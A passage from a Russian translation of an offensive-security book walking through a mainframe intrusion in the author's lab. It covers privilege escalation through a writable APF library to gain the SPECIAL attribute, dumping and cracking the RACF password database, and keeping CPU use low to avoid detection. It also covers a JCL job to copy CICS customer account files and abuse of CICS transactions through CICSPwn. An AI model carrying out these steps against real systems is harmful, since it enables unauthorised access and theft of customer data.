​LU (сокращение от ListUser, “вывести список
пользователей”).
Перевод
@Ianuaria
skladchik.com
Атрибут пользователя Barney ​
NONE.​ У нас нет достаточных
привилегий в мэйнфрейме - логично. Тогда это будет нашей первой
задачей до того, как мы продвинемся дальше.
Пароли в z/OS обычно хранятся в базе данных ​
RACF в
захэшированном формате. RACF - самое популярное средство
обеспечения безопасности, используемое для обработки каждой
аутентификации и управления доступом в z/OS. Мы можем
определить местоположение базы данных RACF командой RVARY
LIST:
Первичная база данных хранится в файле SYS.RACFDS.
Имена файлов в z/OS следуют соглашению об именовании,
принятому
в
DNS:
последовательность
квалификаторов,
разделенных
точками.
Первый
квалификатор
называется
высокоуровневым квалификатором (HLQ), в данном случае SYS1,
что типично для системных файлов.
Попытка прочитать из базы данных RACF, однако, выдает
небольшое предупреждение, которое мягко сообщает об отказе в
Перевод
@Ianuaria
skladchik.com
доступе… Слишком
APF-библиотеки.
плохо!
Продолжим
с
другой
идеей:
APF-библиотеки - это аналог специальных папок, хранящих
модули ядра. Любая программа, запущенная из этих библиотек,
может запрашивать наивысшие привилегии и выполнять любое
действие в системе (авторизованный режим). Для легкого поиска
APF-библиотек мы используем следующий небольшой скрипт:
ELV.APF87
Мы загружаем его в мэйнфрейм, используя IND$FILE (меню
File > Transfer File) со следующими опциями:
Затем мы выполняем его для отображения списка доступных
APF-библиотек и доступа пользователя Barney к каждой из них:
87
​https://github.com/ayoul3/Privesc/blob/master/ELV.APF
Перевод
@Ianuaria
skladchik.com
Доступ на чтение везде… Кроме ​USER.LINKLIB​. Похоже, что у
Barney
достаточно
привилегий,
чтобы
подменить
этот
APF-источник. Отлично! Мы будем использовать эту уязвимость,
компилируя программу в эту APF-библиотеку. Наша программа
будет запрашивать авторизованный режим и обновлять структуру в
памяти, храня привилегии Barney (блок управления ACEE, “ACEE
control block”). Мы изменяем эту структуру, чтобы предоставить
Barney полный доступ к мэйнфрейму: атрибут ​
SPECIAL​!
ELV.APF делает все это автоматически, поэтому мы не будем
заморачиваться с написанием и компиляцией самой программы:
Аллилуйя! Теперь, когда мы под пользователем с атрибутом
SPECIAL,​ мы можем загрузить всю базу данных RACF и взломать
ее офлайн при помощи специальной версии ​
John the Ripper.​88 Это
даст нам доступ к другим учетными записям на тот случай, если эта
будет заблокирована по какой-либо причине (Use File - Transfer File,
но в этот раз выбираем перенос бинарного файла (Transfer binary
file).
88
​https://github.com/magnumripper/JohnTheRipper
Перевод
@Ianuaria
skladchik.com
По умолчанию пароли сохраняются при помощи алгоритма
DES (ограниченного до 56-битной энтропии) со слабыми
политиками паролей (нет смешанных символов, 3 специальных
символа и т.д.). Конечно, это можно изменить, установив особые
модули (или exits), но реально, кто будет утруждать себя этим…
Охота за файлами
Этот этап довольно сложен! Под Windows мы просто получали
доступ ко всем файлам на каждом сервере в поисках интересных
данных. Там не было журнала аудита, о котором стоит
беспокоиться, потому что люди редко записывают в журнал
события успешного доступа к файлам (у нас были права
администратора домена, поэтому у нас был доступ ко всему,
помните?).
Что касается мэйнфрейма, здесь все устроено немного
по-другому. Люди по-прежнему не пишут в логи события успешного
получения доступа к файлам, но они тщательно мониторят
использование
CPU.
Не
то,
чтобы
их
волновала
производительность, но дело в том, что счета, которые они
оплачивают, тесно привязаны к потреблению ресурсов CPU. Нам
Перевод
@Ianuaria
skladchik.com
следует быть осторожными и не повысить его слишком сильно,
чтобы избежать обнаружения.89
Один из подходов - проверять только домашние папки
пользователей. Помните, что в стандартном мэйнфрейме могут
быть тысячи пользователей. Исходя из этого, мы будем
нацеливаться только на пользователей с интересными атрибутами:
● OPERATIONS: присваивается пользователям или служебным
учетным записям для доступа к любым данным, независимо от
имеющихся правил безопасности;
● PROTECTED: обычно присваивается служебным учетным
записям (базы данных, вспомогательное ПО и т.д.) для
разграничения их возможностей по открытию интерактивных
сеансов.
Мы используем скрипт ​
REXX.GETUSERS90 для выгрузки
только лишь этих пользователей:
Интересно! CICS - это middleware, используемое для хостинга
интерактивных приложений в мэйнфрейме. Большая часть
современных бизнес-приложений, обрабатывающих денежные
переводы, банковские данные и действия по контролю
мошенничества, работают с CICS. Давайте отобразим его
домашнюю “папку”:
89
Обсуждение реального взлома мэйнфрейма в Швеции:
https://www.youtube.com/watch?v=SjtyifWTqmc
90
​https://github.com/ayoul3/Rexx_scripts/blob/master/REXX.GETUSERS
Перевод
@Ianuaria
skladchik.com
Определенно, очень многообещающие файлы! Но их выгрузка
не так проста, как может показаться. Это индексированные наборы
данных VSAM: бинарные файлы, хранящие индексированные
данные. Нам нужно конвертировать их в неструктурированные
файлы перед тем, как скачивать их с помощью IND$FILE или FTP.
Мы готовим скрипт на сервере Front Gun для конвертации этих
VSAM-файлов в неструктурированные файлы. Это JCL-код, который
запускает программу SORT. Эта программа копирует одну запись из
наборов данных VSAM за раз (CICSPROD.ACCOUNT) в
стандартный,
неструктурированный
файл
(BARNEY.FLAT.ACCOUNT). Остальные опции стандартны при
копировании файла (выделение места под новый файл, длина
каждой строки, тип файла и т.д.)
//JOBCOPY JOB
//STEP0100 EXEC PGM=SORT
//SYSOUT DD SYSOUT=*
//SORTIN DD DSN=CICSPROD.ACCOUNT,
// DISP=SHR
//SORTOUT DD DSN=BARNEY.FLAT.ACCOUNT,
// DISP=(NEW,CATLG,DELETE),
// UNIT=SYSDA,
// SPACE=(CYL,(20,1),RLSE),
// DCB=(LRECL=80,RECFM=FB,BLKSIZE=0)
//SYSIN DD *
SORT FIELDS=COPY
/*
Совет:​ в реальной жизни нам нужно убедиться, что размер и
длина записи выходного файла соответствует свойствам
Перевод
@Ianuaria
skladchik.com
входного файла. В целях упрощения мы пропустили подобные
детали.
Мы загружаем данный скрипт в мэйнфрейм, используя опцию
переноса файлов (в этот раз с опциями LRECL=80, BLKSIZE=24000)
и выполняем его, используя следующую команду в TSO:
Когда
процесс
завершится,
мы
можем
загрузить
результирующий файл BARNEY.FLAT.ACCOUNT, используя опцию
переноса файлов или стандартный FTP-клиент:
Совет:​ Для Barney нужен доступ к O
​ MVS (Unix), чтобы иметь
возможность использовать FTP. Учитывая, что у нас есть
привилегия ​SPECIAL​, мы можем предоставить этот доступ для
его учетной записи.
Перевод
@Ianuaria
skladchik.com
Совет:​ Чтобы узнать больше о взломе мэйнфреймов,
послушайте обсуждение Soldier of Fortran и Bigendian Smalls:
https://www.youtube.com/watch?v=LgmqiugpVyU
Подождите-ка, а это не читерство?
Некоторые могут поспорить: “Ну, все это прекрасно, но ты,
типа, считерил тут! Ты использовал доменные привилегии Windows
для нагиба мэйнфрейма!”
- “Что, если бы не было легко определяемой группы Windows
под названием ​mainframeAdms​?”
- “Что, если бы админы использовали смарт-карты или Kerberos
для доступа к этой полностью защищенной платформе?”
- “Что, если бы…?”
Защищенность системы сводится к защищенности ее самого
слабого звена. Мэйнфрейм действительно может являться самой
защищенной платформой в мире. И тем не менее, из-за
незащищенного окружения он может быть, несомненно, повержен.
Но опять же, поскольку эта технология не привлекает столь
большого внимания со стороны хакерского сообщества (по
историческим причинам, в которые мы не будем вдаваться),
давайте просто поиграемся с этим и повеселимся. Давайте
представим, что мы не смогли разнюхать ничего полезного для
получения доступа к мэйнфрейму… Сможем ли мы туда
пробраться? Переходите к следующей главе, чтобы выяснить это.
Возврат в начало - первый контакт
Используя ​Nmap91, мы сканируем различные подсети, ищем
признаки наличия мэйнфрейма. Обычно основная служба (VTAM)
91
Мы запустили второй SOCKS-прокси на машине 10.10.20.118. Таким образом наше
тестирование сможет избежать файрвола в DMZ. Мы изменяем файл конфигурации proxychain,
чтобы взять его в расчет.
Перевод
@Ianuaria
skladchik.com
работает на портах 23, 10023, 2323, 992 и 5023. Мы сосредоточимся
на них для ускорения сканирования:
Опция “-sV” определяет баннер, связанный с каждым
открытым портом. Как можно заметить, два IP-адреса показывают
наличие службы TN3270: 10.10.40.33 и 10.10.40.34.
В ​Nmap есть библиотека TN3270, начиная с версии 7.0,
поэтому мы можем легко взаимодействовать с мэйнфреймом:
Перевод
@Ianuaria
skladchik.com
Первый экран мэйнфрейма называется VTAM, что означает
“Метод виртуального телекоммуникационного доступа”. Это
программный драйвер, который обрабатывает TCP/IP и SNA
сеансы. Условно говоря, он лишь предоставляет доступ другим
приложениям, чего мы не сможем увидеть в результате
сканирования портов. В нашем случае, он предоставляет доступ к
TSO92, интерпретатору командной строки в z/OS, и ​
CUST1,​ который,
согласно своему описанию, используется банковскими агентами.
Мы
машинально
обращаем
бизнес-приложение ​CUST1:​
наше
внимание
на
Эта форма для входа является особенной. Это дефолтная
программа, поставляемая IBM, под названием CESN (милое
название). По нажатию PF3 (или стандартная F3 на клавиатуре),
экран лишь очищается и мы выходим из программы… Но мы не
выходим из сеанса. Мы по-прежнему находимся в мэйнфрейме, мы
лишь потерялись где-то в лимбе…
92
Есть ряд превосходных nmap-скриптов для брутфорса учетных записей пользователей, а
также паролей. Я рекомендую вам ознакомиться с исследованием Soldier of Fortran по этой
теме
Перевод
@Ianuaria
skladchik.com
И далее был CICS...
Чтобы понять, что только что произошло, позволим себе
небольшой экскурс в историю компьютеров и программ. В 1960-х гг.
не было простого способа писать интерактивные приложения для
мэйнфреймов. Не было персональных компьютеров, веба, в то
время не было даже интернета.
Чтобы подключать различные мэйнфреймы для обработки
банковских транзакций, к примеру, приходилось разрабатывать с
нуля обработку запросов, кэширование файлов, согласование
доступа и т.д. - на ассемблере, попрошу заметить. Чтобы облегчить
этот процесс, в 1968-м IBM представили CICS. Они также
способствовали продвижению сетевой архитектуры на базе SNA в
те годы (на замену которой по итогу пришла модель TCP/IP в 90-е).
Если задуматься, CICS - это всего лишь закрученная комбинация из
CMS (типа WordPress) и классического вспомогательного ПО
(Apache или Tomcat):
● CICS предоставляет API или ускоренные методы на языке
COBOL, которые работают с файлами, кэшированием,
балансировкой нагрузки и т.д., схожим образом, как CMS типа
WordPress предоставляет доступ к определенным встроенным
функциям;
Перевод
@Ianuaria
skladchik.com
● CICS затем хостит эти приложения и обеспечивает их
доступность для пользователей (через VTAM, например)
схожим образом, как Apache хостит различные веб-сайты.
Так что программа CUST1 является приложением CICS, и по
выходу из приложения (PF3 в форме для аутентификации) мы
возвращаемся обратно к “экрану” CICS или терминалу.
Это как вернуться обратно к корневому каталогу веб-сайта
после нажатия на кнопку выхода из системы. Однако, эта корневая
страница отличается. Она спрашивает нас, что запустить далее… И
вот теперь может начаться веселье.
Программы, транзакции и немного нагиба
Терминал CICS ожидает ID транзакции, четырехзначный код,
относящийся к программе, которую необходимо запустить, типа
CESN​,
программы
аутентификации.
Теперь
мы
можем
забрутфорсить этот простой ID транзакции при помощи
существующих скриптов ​Nmap.​93
Как бы то ни было, мы можем начать с проверки этих двух
транзакций:
● CEMT (программа главного терминала CICS) работает с
ресурсами в CICS: файлами, программами, ID транзакций и
т.д.
● CECI предоставляет псевдо-интерпретатор для выполнения
команд типа: чтение файлов, запись файлов и т.д.
Если у нас появится доступ к этим двум программам, то мы
сможем практически контролировать CICS и любое приложение,
которое в нем хостится. Вместо того, чтобы взаимодействовать с
93
​https://github.com/zedsec390/NMAP
Перевод
@Ianuaria
skladchik.com
CICS напрямую, используя клиент 3270 (wc3270), что может быть
весьма проблематично, мы загрузим программу под названием
CICSPwn94, скрипт на Python, который выполнит всю тяжелую
работу за нас.
Выясняется, что у нас есть доступ к CEMT и CECI… Давайте
тогда перейдем к делу и отобразим список файлов,
зарегистрированных на текущий момент в CICS:
Мы узнаем некоторые файлы, которые уже встречали ранее.
Используя ​CICSPwn ​для их просмотра, мы избегаем трудностей с
конвертацией, которые мы испытывали до этого:
94
​https://github.com/ayoul3/cicspwn
Перевод
@Ianuaria
skladchik.com
CICSPwn у​станавливает подходящие опции для файла
(открытие, чтение, доступ), затем отображает полное содержимое
почти волшебным образом.
И вуаля! Данные клиентов с нулевой аутентификацией из
самой непроницаемой машины!
Любопытный хакер внутри вас гадает, возможно ли пройти
дальше, выполнить код, повысить привилегии… Что ж, да ​ редлагает набор шикарных опций, но вам придется
CICSPwn п
почитать о них самостоятельно, поскольку мы официально
добились нашей финальной цели!
Перевод
@Ianuaria
skladchik.com
Итоги
Я надеюсь, вам понравилось быть в роли хакера и вы
насладились всеми эмоциями, которые она вызывает: фрустрацию,
радость и воодушевление. Конечно, это был ненастоящий,
тестовый сетап в моей лаборатории для близкой к реальной
имитации сети компании, но он довольно-таки точно подчеркивает
многие
уязвимости,
которые
мы можем обнаружить и
проэксплуатировать в реальной жизни. В обычных условиях
подобный взлом или тестирование на проникновение заняло бы
несколько дней или недель для завершения, но мы немного
ускорили процесс и сфокусировались в основном на целях, которые
определили в самом начале.
Если вы новичок в этичном хакинге, я рекомендую вам
почитать статьи, ссылки на которые есть в этой книге. Не
стесняйтесь потестировать различные скрипты и команды,
представленные в этой книге. Поиграйтесь с ними, поизменяйте
параметры, изучите ограничения.
Желаю хорошо повеселиться, нагибая мир!95
https://hacklikeapornstar.com
95
Разумеется, в рамках закона ;-)
Перевод
@Ianuaria
skladchik.com
Download